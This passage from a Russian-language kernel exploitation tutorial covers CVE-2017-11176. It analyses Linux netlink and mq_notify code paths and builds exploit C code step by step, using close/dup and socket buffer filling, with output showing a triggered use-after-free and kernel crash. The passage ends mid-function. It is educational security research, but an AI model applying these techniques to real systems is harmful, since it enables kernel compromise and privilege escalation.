конце, мы удалили одно из требований, реализованное в скрипте для System Tap (когда
SOCK помечался как «мертвый»),
используя исключительно код из пространства пользователя. Осталось реализовать
еще два требования.
Форсирование второго вызова fget()
на возврат ошибки
На данный момент в пространстве пользователя мы реализовали
одно из требований. Вот список задач:
1.
Чтобы netlink_attachskb() возвращала 1.
2. [Решено]
Чтобы был разблокирован поток эксплоита.
3. Чтобы
второй вызов fget() вернул NULL.
В этом разделе будет рассмотрено, как сделать так, чтобы во
время второго вызова функция fget() вернула NULL, и выполнение кода перешло к метке out:
retry:
filp = fget(notification.sigev_signo);
if (!filp) {
ret
= -EBADF;
goto
out; // <——— on the second
loop only!
}
Почему fget()
возвращает NULL?
При помощи System Tap мы выяснили, что обнуления
целевого файлового дескриптора в таблице FDT достаточно, чтобы вызов fget() завершился с ошибкой (то есть вернул NULL):
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
В функции fget() происходит
следующее:
1. Из
текущего процесса извлекается структура files_struct.
2. Из
структуры files_struct извлекается структура fdtable.
3. Извлекается
значение fdt‑>fd[fd]
(т.е. указатель на структуру file).
4. Счетчик
ссылок структуры file (если не равен NULL)
увеличивается на единицу.
5. Возвращается
указатель структуры file.
Короче говоря, если определенный файловый дескриптор в
таблице FDT равен NULL, fget() вернет NULL.
Примечание: Если вы не помните взаимосвязи между
структурами, указанными выше, еще раз ознакомьтесь с разделом «Базовые
концепции» в первой статье данного цикла.
Обнуление элемента в таблице файловых дескрипторов
В скрипте выше мы обнуляли элемент таблицы fdt для файлового дескриптора «3» (см. предыдущий раздел).
Теперь нужно разобраться как проделать то же самое, но при помощи кода из
пространства пользователя. Решение: системный вызов close().
Ниже показана упрощенная версия (без блокировки и обработки
ошибок):
// [fs/open.c]
SYSCALL_DEFINE1(close, unsigned int, fd)
{
struct file * filp;
struct files_struct *files = current->files;
struct fdtable *fdt;
int retval;
[0] fdt = files_fdtable(files);
[1] filp = fdt->fd[fd];
[2] rcu_assign_pointer(fdt->fd[fd], NULL); // <—— equivalent to:
fdt->fd[fd] = NULL
[3] retval = filp_close(filp, files);
return retval;
}
Системный вызов close() делает следующее:
·
[0] – Извлекает таблицу FDT текущего процесса.
·
Извлекает указатель структуры file, связанный
с файловым дескриптором (fd), из таблицы FDT.
·
Устанавливает в этот элемент таблицы значение NULL (всегда).
·
Удаляет ссылку из файлового объекта (т.е. вызывает fput()).
Прекрасно. У нас появился простой и надежный способ без
дополнительных условий обнулить элемент таблицы FDT. Однако
возникает другая проблема…
Проблема курицы и яйца
Было бы слишком заманчиво «просто» воспользоваться системным
вызовом close() в потоке unblock_thread перед вызовом setsockopt(). Проблема
заключается в том, что для setsockopt() нужен корректный файловый дескриптор!
Мы уже экспериментировали с system tap, когда «код для обнуления fdt»
выполнялся во время возврата из функции netlink_attachskb() (но не перед
вызовом). Схожая проблема существует при работе в пространстве пользователя.
Сразу же возникает вопрос, почему бы не вызвать close() после setsocktopt()? Если мы вызовем close() после setsocktopt() (когда происходит разблокировка
потока), то не сможем воспользоваться расширенным временным промежутком.
Другими словами, временной промежуток станет таким же коротким, что нас не
устраивает.
Однако задача решаема! В первой части в разделе «Базовые
концепции» упоминалось, что в таблице файловых дескриптором могут
присутствовать связи не только 1:1. То есть несколько файловых дескрипторов
могут указывать на один и тот же файловый объект. Осталось выяснить, как
сделать так, чтобы на структуру file указывало
два файловых дескриптора. Решение: системный
вызов dup().
// [fs/fcntl.c]
SYSCALL_DEFINE1(dup, unsigned int, fildes)
{
int ret = -EBADF;
[0] struct file *file = fget(fildes);
if (file) {
[1] ret = get_unused_fd();
if
(ret >= 0)
[2] fd_install(ret,
file); //
<—— equivalent to: current->files->fdt->fd[ret] = file
else
fput(file);
}
[3] return ret;
}
Системный вызов dup() делает именно
то, что нам нужно:
·
[0] – Берет ссылку на объект структуры file из файлового дескриптора.
·
[1] – Находит следующий «неиспользуемый/доступный» файловый
дескриптор.
·
[2] – Устанавливает полученный ранее указатель на объект
структуры file в элемент таблицы файловых дескрипторов,
где находится найденный новый файловый дескриптор.
·
[3] – Возвращает новый файловый дескриптор.
В итоге у нас оказывается два файловых дескриптора,
указывающих на одну и ту же структуру file:
·
sock_fd: используется в mq_notify() и
close().
·
unblock_fd: используется в setsockopt().
Обновление эксплоита
Добавляем системные вызовы close/dup и меняем параметры в setsockopt:
struct unblock_thread_arg
{
int sock_fd;
int unblock_fd; // <—— used by the
«unblock_thread»
bool is_ready;
};
static void*
unblock_thread(void *arg)
{
// … cut …
sleep(5); // gives some time for the main thread
to block
printf(«[unblock] closing %d fdn«, uta->sock_fd);
_close(uta->sock_fd); // <—— close() before setsockopt()
printf(«[unblock] unblocking nown«);
if (_setsockopt(uta->unblock_fd, SOL_NETLINK, // <—— use
«unblock_fd» now! NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror(«setsockopt»);
return NULL;
}
int main(void)
{
// … cut …
if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0) // <—— dup() after socket()
{
perror(«dup»);
goto
fail;
}
printf(«[main] netlink fd duplicated = %dn«, uta.unblock_fd);
// … cut …
}
Не забываем удалить строки, связанные с обнулением элемента
в таблице FDT, в скриптах для System Tap. Далее запускаем обновленный
скрипт и эксплоит:
-={ CVE-2017-11176 Exploit }=-
[main] netlink socket created = 3
[main] netlink fd duplicated = 4
[main] creating unblock thread…
[main] unblocking thread has been created!
[main] get ready to block
[unblock] closing 3 fd
[unblock] unblocking now
mq_notify: Bad file descriptor
exploit failed!
<<< KERNEL CRASH >>>
Бинго! Теперь мы
смогли активировать ошибку use‑after‑free, и возник
первый крах ядра!
Причины краха будут изучаться в третьей части.
Если коротко, то из-за системного вызова dup() во время вызова close() ссылка на объект
netlink_sock не освобождается. Последняя ссылка на объект (как и сам объект)
освобождается функцией netlink_detachskb(). В конце, во время выхода из
программы возникает ошибка use‑after‑free во время
освобождения файлового дескриптора unblock_fd в функции netlink_release().
Прекрасно! Теперь два условия соблюдены для активации
уязвимости без участия System Tap. Приступаем к реализации
заключительных требований.
Возврат к метке «retry»
Может показаться, что в этом разделе мы будем анализировать
слишком много кода ядра. Не пугайтесь! Мы практически подошли к практической
реализации нашей концепции. Как говорится в одной пословице: «Ешьте слона по
кусочкам».
Еще раз смотрим на список задач:
1.
Чтобы netlink_attachskb() возвращала 1.
2. [Решено]
Чтобы был разблокирован поток эксплоита.
3. [Решено]
Чтобы второй вызов fget() вернул NULL.
Чтобы добраться до кода метки retry, функция
netlink_attachskb() должна вернуть 1. То есть нам нужно соответствовать первому
условию и разблокировать поток (что мы уже сделали).
int netlink_attachskb(struct sock *sk, struct sk_buff *skb, long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
[0] if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))
{
//
… cut …
return
1;
}
// normal path
return 0;
}
Условие [0] будет истинным, если:
1. Значение
sk_rmem_alloc больше, чем sk_rcvbuf, или …
2. Установлен
младший значащий бит поля nlk‑>state.
Ранее в скрипте мы уже устанавливали младший значащий бит
для поля «nlk‑>state»:
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
nlk->state
|= 1;
Однако пометка сокета как «переполненого», используя младший
значащий бит – не очень удачное решение. Код в ядре, который устанавливает этот
бит, выполняется только в случае, если произошло неудачное выделение памяти,
что приводит систему в нестабильное состояние и не пригодно для эксплуатации
уязвимости. Есть и другие способы решения этой задачи, которые работают без
ошибок при выделении памяти, но мы уже должны соответствовать вышеуказанному
условию. Соответственно, этот вариант также отпадает.
Мы же попробуем увеличить значение sk_rmem_alloc, которое
отражает «текущий» размер буфера приема структуры sock.
Заполнение буфера приема
В этом разделе мы попробуем найти решение, чтобы
соответствовать первому условию, которое означает «полон ли буфер приема?»:
atomic_read(&sk->sk_rmem_alloc)
>
sk->sk_rcvbuf
Вспоминаем, что у структуры sock (которая
встроена в netlink_sock) есть следующие поля:
·
sk_rcvbuf: «теоретический»
максимальный размер буфера приема (в байтах).
·
sk_rmem_alloc:
«текущий» размер буфера приема (в байтах).
·
sk_receive_queue:
дважды связанный список объекта «skb» (т.е. сетевых буферов).
Примечание: Значение sk_rcvbuf является
«теоретическим», поскольку «текущий» размер буфера приема может превысить это
значение.
Во время выгрузки структуры netlink_sock при помощи скрипта (см. часть 1)
получилось следующее:
— sk->sk_rmem_alloc = 0
— sk->sk_rcvbuf = 133120
Существует два способа сделать это условие истинным:
1. Сделать
sk_rcvbuf меньше 0 (в нашей версии ядра у sk_rcvbuf целочисленный тип).
2. Сделать
sk_rmem_alloc больше 133120.
Уменьшение sk_rcvbuf
Переменная sk_rcvbuf представляет собой нечто общее для всех
объектов sock, и существует не так много мест, где это
значение изменяется (вместе с netlink-сокетами). Одно из таких мест – функция sock_setsockopt
(доступная через параметр SOL_SOCKET):
// from [net/core/sock.c]
int sock_setsockopt(struct socket *sock, int level, int optname, char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
int val;
// … cut …
case SO_RCVBUF:
[0] if (val > sysctl_rmem_max)
val
= sysctl_rmem_max;
set_rcvbuf:
sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
[1] if ((val * 2) < SOCK_MIN_RCVBUF)
sk->sk_rcvbuf = SOCK_MIN_RCVBUF;
else
sk->sk_rcvbuf = val * 2;
break;
// … cut (other options handling) …
}
Когда вы видите код похожий на тот, который показан выше,
обращайте внимание на типы, используемые в выражениях.
Примечание: большинство ошибок возникает из-за
перемешивания знакового и беззнакового типов. То же самое происходит во время
преобразования более крупного типа (u64) к менее крупному (u32) и приводит к
целочисленному переполнению или проблемам, связанным с преобразованием типов.
В нашем случае (у вас типы могут отличаться) имеем
следующее:
·
sk_rcvbuf:
int.
·
val: int.
·
sysctl_rmem_max: __u32.
·
SOCK_MIN_RCVBUF: преобразуется к size_t из-за функции sizeof().
SOCK_MIN_RCVBUF объявлено следующим образом:
#define SOCK_MIN_RCVBUF (2048 + sizeof(struct sk_buff))
В целом, если тип знаковое целое перемешивается с
беззнаковым целом, знаковое целое преобразуется к беззнаковому типу.
Предупреждение: Предыдущее правило не является верным
во всех случаях. Компилятор может принять другое решение. Чтобы узнать точно,
нужно посмотреть в дизассемблированный код.
Допустим, что передается отрицательное значение val. В строке [0] эта переменная будет преобразована к
беззнаковому типу, поскольку у переменной sysctl_rmem_max тип __u32. Таким
образом, небольшое отрицательное значение станет большим беззнаковым.
Даже если переменная val не будет преобразована к типу __u32, мы не сможем пройти
вторую проверку [1]. В конце, мы окажемся в неотрицательном диапазоне [SOCK_MIN_RCVBUF,
sysctl_rmem_max]. Таким образом, нужно работать с полем sk_rmem_alloc вместо
поля sk_rcvbuf.
Примечание: во время разработки эксплоита обычно
анализируется много сценариев выполнения кода, которые ведут в никуда. Мы лишь
хотели продемонстрировать данный «феномен» в этой статье.
Возвращаемся к «обычному» сценарию
Настало время вернуться к тому, что было проигнорировано с
самого начала, а конкретно – к обычному сценарию выполнения системного вызова mq_notify().
По идее, мы можем добраться до кода после метки retry,
когда буфер приема структуры sock полный,
поскольку заполнение произошло во время отработки обычного сценария.
Смотрим содержимое netlink_attachskb():
int netlink_attachskb(struct sock *sk, struct sk_buff *skb, long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
//
… cut (retry path) …
}
skb_set_owner_r(skb, sk); // <—— what about this
?
return 0;
}
При обычном сценарии вызывается skb_set_owner_r():
static inline void skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
WARN_ON(skb->destructor);
__skb_orphan(skb);
skb->sk = sk;
skb->destructor = sock_rfree;
[0] atomic_add(skb->truesize, &sk->sk_rmem_alloc); // sk->sk_rmem_alloc +=
skb->truesize
sk_mem_charge(sk, skb->truesize);
}
Из кода выше становится ясно, что функция skb_set_owner_r() увеличивает значение
sk_rmem_alloc на величину skb‑>truesize.
Можно попробовать вызвать mq_notify() несколько раз, пока буфер приема не
окажется полным. Однако в этом методе есть подводные камни.
Во время отработки обычного сценария системного вызова mq_notify()
в начале создается объект skb (называемый также «cookie»), который прикрепляется к объекту netlink_sock при
помощи функции netlink_attachskb() (мы уже рассматривали эту тему). Затем netlink_sock
и skb связываются со структурой mqueue_inode_info, которая принадлежит очереди
сообщений (см. обычный сценарий выполнения mq_notify).
Проблема заключается в том, что со структурой mqueue_inode_info
единовременно можно связать только один объект skb. То есть повторный вызов
mq_notify() завершится с ошибкой «‑EBUSY».
Другими словами, мы можем увеличить размер sk_rmem_alloc только один раз (для
указанной очереди сообщений), чего недостаточно (только 32 байта), чтобы
переменная sk_rmem_alloc оказалась больше sk_rcvbuf.
Мы можем создать несколько очередей сообщений и,
соответственно, несколько объектов mqueue_inode_info и сделать несколько
вызовов mq_notify(). Или мы можем использовать системный вызов mq_timedsend()
для передачи сообщений в очередь. Поскольку сейчас нет необходимости изучать
другую подсистему (mqueue), мы будем придерживаться стандартного сценария
отработки ядра (sendmsg). Останется вам в качестве домашнего задания J.
Примечание: Всегда существует несколько способов
написать эксплоит.
Несмотря на то, что стандартный сценарий вызова mq_notify()
использоваться не будет, отметим важный результат: есть возможность увеличить sk_rmem_alloc
при помощи функции skb_set_owner_r() (и, соответственно, netlink_attachskb()).
Функция netlink_unicast()
Ранее выяснилось, что мы можем увеличить значение переменной
sk_rmem_alloc, используя функцию skb_set_owner_r() (и, соответственно,
netlink_attachskb()). Функция netlink_attachskb() также вызывается в netlink_unicast().
Перейдем выше по дереву вызовов, чтобы посмотреть, как добраться до функции netlink_unicast().
— skb_set_owner_r
— netlink_attachskb
— netlink_unicast
— netlink_sendmsg // there is a lots of «other»
callers of netlink_unicast
— sock->ops->sendmsg()
— __sock_sendmsg_nosec()
— __sock_sendmsg()
— sock_sendmsg()
— __sys_sendmsg()
— SYSCALL_DEFINE3(sendmsg, …)
Поскольку netlink_sendmsg()
связана со структурой proto_ops,
принадлежащей netlink-сокетам (см. раздел «Базовые концепции»
в первой части), до этой функции можно добраться через системный вызов sendmsg().
Путь от функции sendmsg() до
структуры proto_ops (sock‑>ops‑>sendmsg()) будет
рассмотрен во всех подробностях в третьей части. А сейчас давайте условимся,
что мы можем добраться до функции netlink_sendmsg() без каких-либо сложностей.
Как добраться до функции netlink_unicast() из
netlink_sendmsg()
Системный вызов sendmsg() имеет следующую сигнатуру:
ssize_t sendmsg(int sockfd, const struct
msghdr *msg, int flags);
Чтобы добраться до netlink_unicast(), нужно установить
правильные значения в аргументы msg и
flags:
struct msghdr {
void *msg_name; /* optional address */
socklen_t msg_namelen; /* size of address */
struct iovec *msg_iov; /* scatter/gather array */
size_t msg_iovlen; /* # elements in msg_iov */
void *msg_control; /* ancillary data, see below */
size_t msg_controllen; /* ancillary data buffer len
*/
int msg_flags; /* flags on received message */
};
struct iovec
{
void __user *iov_base;
__kernel_size_t iov_len;
};
В этом разделе мы проанализируем значения параметров из
кода и постепенно сформируем перечень требований, чтобы ядро отработало
так, как нам нужно, на чем, как вы уже могли убедиться, строится не только
эксплуатация нашей уязвимости, но и всех остальных. Вызов netlink_unicast()
находится почти в самом конце функции netlink_sendmsg, но сначала потребуется
пройти (или обойти) все проверки.
Приступаем:
static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock, struct msghdr *msg, size_t len)
{
struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
struct sockaddr_nl *addr = msg->msg_name;
u32 dst_pid;
u32 dst_group;
struct sk_buff *skb;
int err;
struct scm_cookie scm;
u32 netlink_skb_flags = 0;
[0] if (msg->msg_flags&MSG_OOB)
return
-EOPNOTSUPP;
[1] if (NULL == siocb->scm)
siocb->scm = &scm;
err = scm_send(sock, msg, siocb->scm, true);
[2] if (err < 0)
return
err;
// … cut …
err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT); // <—- our target
out:
scm_destroy(siocb->scm);
return err;
}
Чтобы пройти проверку [0] флаг MSG_OOB не должен быть
установлен. Первое ограничение: у флага msg‑>msg_flags бит MSG_OOB не установлен.
Условие [1] будет истинным, поскольку в функции __sock_sendmsg_nosec()
полю siocb‑>scm
присваивается NULL. Наконец в строке [2] функция scm_send()
не должна вернуть отрицательное значение.
Код scm_send():
static __inline__ int scm_send(struct socket *sock, struct msghdr *msg, struct scm_cookie *scm, bool forcecreds)
{
memset(scm, 0, sizeof(*scm));
if (forcecreds)
scm_set_cred(scm,
task_tgid(current), current_cred());
unix_get_peersec_dgram(sock, scm);
if (msg->msg_controllen <= 0) // <—— this need to be true…
return
0; // <—— …so we hit this and skip
__scm_send()
return __scm_send(sock, msg, scm);
}
Второе требование: msg‑>msg_controllen
равно 0 (поскольку у типа size_t отсутствуют отрицательные значения).
Продолжаем:
// … netlink_sendmsg() continuation
…
[0] if (msg->msg_namelen) {
err
= -EINVAL;
[1] if (addr->nl_family != AF_NETLINK)
goto
out;
[2a] dst_pid
= addr->nl_pid;
[2b] dst_group
= ffs(addr->nl_groups);
err
= -EPERM;
[3] if ((dst_group || dst_pid) && !netlink_allowed(sock, NL_NONROOT_SEND))
goto
out;
netlink_skb_flags
|= NETLINK_SKB_DST;
} else {
dst_pid
= nlk->dst_pid;
dst_group
= nlk->dst_group;
}
// … cut …
Этот кусок кода чуть более запутанный. Все зависит от того,
подключен или нет отправляющий сокет к принимающему сокету. Если подключен, то
оба поля nlk‑>dst_pid
и nlk‑>dst_group
уже установлены. Поскольку нам не нужно подключаться к принимающему сокету (из-за
нежелательных побочных эффектов), требуется попасть в первую ветку. Таким
образом, еще одно условие: msg‑>msg_namelen
не равно нулю [0].
Если вернуться в начало этой функции, то можно увидеть, что
переменная addr – еще один параметр, контролируемый пользователем (msg‑>msg_name). В строках
[2a] и [2b] мы можем выбрать произвольные значения переменных dst_group и
dst_pid:
1. Если
dst_group == 0, будет отсылаться одноадресное (unicast)
сообщение, вместо широковещательного (см. man 7 netlink).
2. Если
dst_pid != 0, мы сможем общаться с принимающим сокетом по нашему выбору (в
пространстве пользователя). Если dst_pid == 0, значит, мы будем «общаться с
ядром» (см. документацию).
Таким образом, у нас получается еще два условия (msg_name
преобразуется к sockaddr_nl):
·
msg‑>msg_name‑>dst_group равно нулю.
·
msg‑>msg_name‑>dst_pid равно nl_pid у
принимающего сокета.
Также подразумевается, что netlink_allowed(sock, NL_NONROOT_SEND) [3] не вернет нулевое
значение:
static
inline int netlink_allowed(const
struct socket *sock,
unsigned int flag)
{
return (nl_table[sock->sk->sk_protocol].flags & flag)
|| capable(CAP_NET_ADMIN));
}
Поскольку эксплуатация выполняется от имени
непривилегированного пользователя, у нас отсутствует набор возможностей,
предусмотренных атрибутом CAP_NET_ADMIN. Единственным «netlink-протоколом»,
у которого установлен флаг NL_NONROOT_SEND, является протокол NETLINK_USERSOCK.
Таким образом, в отправляющем сокете должен быть протокол NETLINK_USERSOCK.
Кроме того, чтобы соответствовать условию [1], поле msg‑>msg_name‑>nl_family должно
равняться AF_NETLINK.
Идем дальше:
[0] if (!nlk->pid) {
[1] err = netlink_autobind(sock);
if
(err)
goto out;
}
Мы не можем управлять условием в строке [0], поскольку во
время создания сокета, pid устанавливается
равным нулю (вся структура обнуляется функцией sk_alloc()). Позже мы вернемся к
этому вопросу, а сейчас предполагаем, что функция netlink_autobind() [1] найдет
«доступный» pid для нашего
отправляющего сокета, и никаких ошибок не возникнет. Однако эта проверка будет
пропущена во время второго вызова sendmsg(), и к тому моменту nlk‑>pid будет
установлен.
Идем дальше:
err = -EMSGSIZE;
[0] if (len > sk->sk_sndbuf — 32)
goto
out;
err = -ENOBUFS;
skb = alloc_skb(len, GFP_KERNEL);
[1] if (skb == NULL)
goto out;
В коде выше переменная len вычисляется во время вызова __sys_sendmsg() и равна сумме len всех структур iovec, каждая из
которых описывает один блок передаваемых данных. То есть размер всех структур iovec
должен быть меньше, чем sk‑>sk_sndbuf
минус 32 [0]. С целью упрощения задачи будем использовать только одну структуру
iovec. Таким образом, получаем следующие условия:
·
Поле msg‑>msg_iovlen
равно 1 //поскольку мы рассматриваем одну структуру iovec.
·
Поле msg‑>msg_iov‑>iov_len меньше или равно sk‑>sk_sndbuf минус 32.
·
Поле msg‑> msg_iov‑>iov_base должно читаться из пространства пользователя//
иначе вызов __sys_sendmsg() завершится с ошибкой.
Последнее условие предполагает, что поле msg‑>msg_iov является
адресом пространства пользователя, доступным для чтения (иначе вызов __sys_sendmsg()
завершится неудачно).
Примечание: sk_sndbuf является эквивалентом sk_rcvbuf,
но здесь мы имеем дело с буфером для отправки. Размер этого буфера можно
получить, используя опцию SO_SNDBUF функции sock_getsockopt().
Проверка в строке [1] должна быть пройдена успешно.
Несоответствие этому условию означает, что ядру не хватает памяти, и ситуация
для эксплуатации оставляет желать лучшего. В этом случае эксплоит должен
приостановить работу, поскольку высока вероятность появления ошибок или еще
хуже – крах ядра! То есть в эксплоите нужно реализовать обработку ошибок.
Следующий участок кода можно проигнорировать, поскольку нет
необходимости в прохождении каких-либо проверок. Структура siocb‑>scm инициализирована
ранее функцией scm_send():
NETLINK_CB(skb).pid = nlk->pid;
NETLINK_CB(skb).dst_group = dst_group;
memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));
NETLINK_CB(skb).flags = netlink_skb_flags;
Идем дальше:
err = -EFAULT;
[0] if (memcpy_fromiovec(skb_put(skb,
len), msg->msg_iov, len)) {
kfree_skb(skb);
goto
out;
}
С прохождением проверки [0] также не должно возникнуть
проблем, поскольку мы уже предоставили структуру iovec,
доступную для чтения, иначе вызов __sys_sendmsg() завершится с ошибкой (см.
предыдущее условие).
[0] err = security_netlink_send(sk, skb);
if (err) {
kfree_skb(skb);
goto out;
}
Это проверка модуля безопасности в Linux (например, SELinux). Если мы не сможем пройти эту проверку,
то нужно искать другой способ добраться до функции netlink_unicast() или в
целом другой способ увеличения sk_rmem_alloc (подсказка: попробуйте netlink_dump()).
Предполагаем, что проверка пройдена.
Наконец, переходим к последнему участку кода:
[0] if (dst_group) {
atomic_inc(&skb->users);
netlink_broadcast(sk,
skb, dst_pid, dst_group, GFP_KERNEL);
}
[1] err = netlink_unicast(sk,
skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
Ранее мы уже установили в поле msg‑>msg_name‑>dst_group
значение 0. Соответственно, условие [0] выполняться не будет, и мы, наконец,
доходим до вызова netlink_unicast()!
Дорога была долгой J.
Подытожим все условия, которым нужно соответствовать, чтобы
(всего лишь) добраться до функции netlink_unicast() из netlink_sendmsg():
·
В поле msg‑>msg_flags отсутствует флаг MSG_OOB.
·
Поле msg‑>msg_controllen равно 0.
·
Поле msg‑>msg_namelen не равно 0.
·
Поле msg‑>msg_name‑>nl_family равно AF_NETLINK.
·
Поле msg‑>msg_name‑>nl_groups равно 0.
·
Поле msg‑>msg_name‑>nl_pid не равно 0 и указывает на принимающий сокет.
·
Отправляющий netlink-сокет должен
использовать протокол NETLINK_USERSOCK.
·
Поле msg‑>msg_iovlen равно 1.
·
Поле msg‑>msg_iov содержит адрес в пространстве пользователя, доступный
для чтения.
·
Поле msg‑>msg_iov‑>iov_len меньше или равно sk_sndbuf минус 32.
·
Поле msg‑>msg_iov‑>iov_base содержит адрес в пространстве пользователя, доступный для
чтения.
Здесь мы сталкиваемся с задачами, которые нужно решать при
разработке каждого эксплоита уровня ядра: анализ каждого условия, форсирование
выполнение определенного кода ядра, подбор параметров системных вызовов и так
далее. На практике составить подобный список не займет много времени, и
существуют намного более сложные ситуации.
Двигаемся дальше.
Как добраться до функции netlink_attachskb() из
netlink_unicast()
В этот раз должно быть намного проще. Функция
netlink_unicast() вызывается со следующими параметрами:
netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
Где:
·
sk – отсылающий объект netlink_sock.
·
skb – буфер сокета заполненный данными из
msg‑>msg_iov‑>iov_base размером msg‑>msg_iov‑>iov_len.
·
dst_pid – управляемый
pid (msg‑>msg_name‑>nl_pid), указывающий на принимающий netlink-сокет.
·
msg‑>msg_flasg&MSG_DONTWAIT
определяет, должна ли функция netlink_unicast() выполнять блокировку или нет.
Предупреждение: Внутри функции netlink_unicast()
переменная ssk обозначает отправляющий сокет, sk – принимающий.
Код функции netlink_unicast():
int netlink_unicast(struct
sock *ssk, struct sk_buff
*skb, u32 pid, int nonblock)
{
struct sock
*sk;
int err;
long timeo;
skb = netlink_trim(skb,
gfp_any()); // <—— ignore this
[0] timeo
= sock_sndtimeo(ssk, nonblock);
retry:
[1] sk
= netlink_getsockbypid(ssk, pid);
if (IS_ERR(sk)) {
kfree_skb(skb);
return PTR_ERR(sk);
}
[2] if (netlink_is_kernel(sk))
return netlink_unicast_kernel(sk, skb,
ssk);
[3] if (sk_filter(sk,
skb)) {
err = skb->len;
kfree_skb(skb);
sock_put(sk);
return err;
}
[4] err
= netlink_attachskb(sk, skb, &timeo,
ssk);
if (err == 1)
goto retry;
if (err)
return err;
[5] return
netlink_sendskb(sk, skb);
}
В строке [0] функция sock_sndtimeo() устанавливает значение timeo
(таймаут) на базе параметра nonblock. Поскольку в блокировках нет необходимости
(nonblock>0), переменная timeo будет равна нулю. Таким образом, в поле
msg‑>msg_flags
должен быть установлен флаг MSG_DONTWAIT.
В строке [1] sk принимающего netlink_sock достается через pid. Как будет
показано в следующем разделе, принимающий netlink_sock должен быть привязан
перед вызовом функции netlink_getsockbypid().
В строке [2] принимающий сокет не должен быть сокетом
«ядра». Netlink_sock помечается
как ядро, если есть флаг NETLINK_KERNEL_SOCKET. То есть сокет создан при помощи
функции netlink_kernel_create(). К сожалению, сокет NETLINK_GENERIC является
одним из сокетов ядра (в текущем контексте эксплоита). Таким образом, нужно поменять
протокол принимающего сокета на NETLINK_USERSOCK. Эта операция имеет более
глубокий смысл. Обратите внимание, что ссылка берется из netlink_sock
принимающего сокета.
В строке [3] может быть применен BPF-фильтр
структуры sock (Berkeley Packet Filter; Берклеевский пакетный фильтр). Эту проверку можно
обойти, если мы не будем создавать BPF-фильтр
для принимающего сокета.
В строке [4] вызывается функция netlink_attachskb()! Внутри netlink_attachskb()
возможны только два сценария выполнения (стоит ли копировать код этой функции
еще раз?):
1. Буфер
принимающего сокета неполный: вызов skb_set_owner_r() ‑> увеличивает sk_rmem_alloc.
2. Буфер
принимающего сокета полный: netlink_attachskb() ничего не блокирует и
возвращает ‑EAGAIN
(таймаут равен нулю).
Таким образом, у нас есть способ узнать, когда буфер
приема полный (нужно лишь проверить код ошибки функции sendmsg()).
Наконец, вызов функции netlink_sendskb() в строке [5]
добавляет skb в список буфера
принимающего сокета и удаляет ссылку, полученную при помощи функции netlink_getsockbypid().
Обновляем список требований:
·
В поле msg‑>msg_flags
установлен флаг MSG_DONTWAIT.
·
Принимающий netlink-сокет должен быть
привязан перед вызовом sendmsg().
·
Принимающий netlink-сокет должен
использовать протокол NETLINK_USERSOCK.
·
Отсутствие BPF-фильтра у принимающего
сокета.
Мы практически подобрались к окончательной реализации
экспериментального кода. Осталось привязать принимающий сокет.
Привязка принимающего сокета
Два сокета могут общаться между собой, используя «адреса».
Поскольку мы работаем с netlink-сокетом, то будем использовать
структуру sockaddr_nl (см. мануал):
struct sockaddr_nl {
sa_family_t nl_family; /* AF_NETLINK */
unsigned short nl_pad; /* Zero. */
pid_t nl_pid; /* Port ID. */
__u32 nl_groups; /* Multicast groups mask. */
};
Поскольку нам не нужно быть частью «широковещательной
группы», поле nl_groups должно быть равно 0. Единственное важное для нас поле —
nl_pid.
В целом, функция netlink_bind() может отрабатывать два
сценария:
1. Если
поле nl_pid не равно 0: вызывается функция netlink_insert().
2. Если
поле nl_pid равно 0: вызывается функция netlink_autobind(), которая в свою
очередь вызывает netlink_insert().
Обратите внимание, что вызов netlink_insert() с уже
использованным pid завершится с
ошибкой «‑EADDRINUSE».
В противном случае будет создана связь между и nl_pid и объектом netlink_sock. Теперь netlink_sock может
быть получен при помощи функции netlink_getsockbypid(). Кроме того, функция
netlink_insert() увеличивает счетчик ссылок структуры sock на единицу.
Примечание: более подробно о том, как хранится связь
«pid:netlink_sock», объясняется в четвертой части.
Несмотря на то, что вызов netlink_autobind() кажется более
естественным, мы будем делать симуляцию этого вызова (не знаю, почему… но
скорее всего из-за лени) из пространства пользователя посредством простого
перебора значения pid (чем и занимается autobind) до
тех пор, пока вызов bind() не завершится успешно. Этот
трюк позволяет нам сразу же узнать значение nl_pid принимающего сокета без
вызова getsockname() и (возможно) упростить отладку (в чем я не уверен J).
Собираем все воедино
Мы потратили много времени на изучение множество сценариев
выполнения функций, и теперь готовы к реализации эксплоита и реализации
требования «чтобы функция netlink_attachskb() вернула 1!»
Стратегия следующая:
1. Создаем
два сокета с типом AF_NETLINK и
протоколом NETLINK_USERSOCK.
2. Привязываем
целевой (принимающий) сокет (т.е. тот, у которого буфер приема должен быть
полным).
3. (Опционально)
Пытаемся уменьшить буфер приема целевого сокета (тогда придется реже вызывать sendmsg()).
4. Заполняем
целевой сокет, используя sendmsg(), из отправляющего сокета до тех пор, пока
функция не возвратит EAGAIN.
5. Закрываем
отправляющий сокет (поскольку этот сокет нам больше не нужен).
Вы можете запустить код ниже отдельно, чтобы удостовериться,
что все работает:
static int prepare_blocking_socket(void)
{
int send_fd;
int recv_fd;
char buf[1024*10]; // should be less than (sk->sk_sndbuf
— 32), you can use getsockopt()
int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF
struct sockaddr_nl addr = {
.nl_family
= AF_NETLINK,
.nl_pad
= 0,
.nl_pid
= 118, // must different than zero
